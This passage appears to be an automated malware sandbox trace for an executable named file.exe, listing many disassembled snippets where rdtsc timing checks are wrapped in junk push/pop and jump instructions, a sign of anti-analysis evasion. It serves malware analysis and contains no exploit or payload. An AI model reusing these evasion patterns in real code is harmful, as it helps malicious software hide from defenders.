Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D63B second address: A8D652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97CB0 second address: A97CB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9677B second address: A96781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96781 second address: A96794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007F142CBFA9C8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96794 second address: A967AF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F142CBF9DB6h 0x00000008 jmp 00007F142CBF9DBCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96935 second address: A9694A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F142CBFA9CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96CC5 second address: A96CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96CCB second address: A96CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96CD1 second address: A96CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96CD5 second address: A96CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F142CBFA9C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36ED9 second address: A36EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, ebx 0x0000000b mov ebx, dword ptr [ebp+1247AE2Ah] 0x00000011 clc 0x00000012 add eax, ebx 0x00000014 mov di, FC52h 0x00000018 push eax 0x00000019 push ebx 0x0000001a jo 00007F142CBF9DBCh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96E1B second address: A96E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F973 second address: A9F977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F977 second address: A9F9A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F142CBFA9EBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FEE3 second address: A9FEE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FEE7 second address: A9FEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FEF7 second address: A9FEFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FEFD second address: A9FF01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA07EF second address: AA07F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0DE1 second address: AA0DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0DF8 second address: AA0DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1060 second address: AA1072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBFA9CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1072 second address: AA1076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1076 second address: AA1093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F142CBFA9CAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jl 00007F142CBFA9C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1093 second address: AA1099 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1099 second address: AA10EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F142CBFA9D8h 0x0000000e jmp 00007F142CBFA9D6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 jmp 00007F142CBFA9D9h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA597D second address: AA5983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5983 second address: AA5987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5987 second address: AA598D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA598D second address: AA59A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBFA9D4h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5E1B second address: AA5E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA60C8 second address: AA60DF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F142CBFA9D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB1B4 second address: AAB1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB1B8 second address: AAB1C5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB1C5 second address: AAB213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBF9DC9h 0x00000009 pop esi 0x0000000a ja 00007F142CBF9DC9h 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F142CBF9DC3h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB213 second address: AAB217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB217 second address: AAB21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3B6C second address: AB3B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007F142CBFA9CCh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3B80 second address: AB3B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2104 second address: AB2111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F142CBFA9C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2111 second address: AB2115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB28FA second address: AB2906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2A96 second address: AB2A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB39DF second address: AB3A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D5h 0x00000007 push ecx 0x00000008 jmp 00007F142CBFA9D2h 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jne 00007F142CBFA9E8h 0x00000018 jne 00007F142CBFA9CEh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA217 second address: ABA223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F142CBF9DBCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA2FF second address: ACA307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA307 second address: ACA30F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA30F second address: ACA323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F142CBFA9C6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA323 second address: ACA327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA327 second address: ACA335 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA335 second address: ACA33A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9CC6 second address: AC9CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007F142CBFA9CDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC9E1B second address: AC9E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACCD78 second address: ACCD9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F142CBFA9D1h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F142CBFA9CAh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2675 second address: AD267B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD267B second address: AD2682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2682 second address: AD26A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBF9DC6h 0x00000009 ja 00007F142CBF9DB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD26A2 second address: AD26B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD26B1 second address: AD26C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jns 00007F142CBF9DB6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD26C7 second address: AD26CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD26CD second address: AD26D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD890B second address: AD8931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F142CBFA9D7h 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F142CBFA9C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8931 second address: AD8955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC2h 0x00000007 js 00007F142CBF9DB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87AB second address: AD87B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87B1 second address: AD87B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD87B5 second address: AD87E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F142CBFA9CEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F142CBFA9CEh 0x00000012 jmp 00007F142CBFA9CAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC421 second address: ADC427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE07B5 second address: AE07BF instructions: 0x00000000 rdtsc 0x00000002 js 00007F142CBFA9CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE07BF second address: AE07F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F142CBF9DC9h 0x0000000c pushad 0x0000000d jmp 00007F142CBF9DC4h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE36A6 second address: AE36B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA21D second address: AEA237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F142CBF9DB6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F142CBF9DBAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8B84 second address: AE8B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8B88 second address: AE8B94 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8FE1 second address: AE8FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9135 second address: AE9177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F142CBF9DC8h 0x0000000f push edi 0x00000010 jbe 00007F142CBF9DB6h 0x00000016 jmp 00007F142CBF9DBEh 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jnl 00007F142CBF9DB6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9436 second address: AE9449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007F142CBFA9C6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE95B4 second address: AE9616 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC7h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F142CBF9DC2h 0x0000000f jmp 00007F142CBF9DC2h 0x00000014 jmp 00007F142CBF9DBDh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jnc 00007F142CBF9DB6h 0x00000025 pushad 0x00000026 popad 0x00000027 jg 00007F142CBF9DB6h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE520 second address: AEE53D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBFA9D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00852 second address: B00874 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F142CBF9DCCh 0x00000008 jmp 00007F142CBF9DC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00874 second address: B00882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B006F3 second address: B006FD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E749 second address: B0E750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E750 second address: B0E76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBF9DC8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8B6 second address: B0E8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F142CBFA9C6h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8C4 second address: B0E8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push edx 0x0000000c js 00007F142CBF9DB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8D8 second address: B0E8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8E0 second address: B0E8E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8E6 second address: B0E8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B286DC second address: B286F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007F142CBF9DB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B288B5 second address: B288C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F142CBFA9D2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B288C4 second address: B288FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F142CBF9DB6h 0x0000000a js 00007F142CBF9DB8h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 jbe 00007F142CBF9DE0h 0x00000019 jmp 00007F142CBF9DC0h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F142CBF9DBCh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B288FD second address: B28901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28B77 second address: B28B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28B7D second address: B28B8A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28B8A second address: B28B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28B90 second address: B28BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
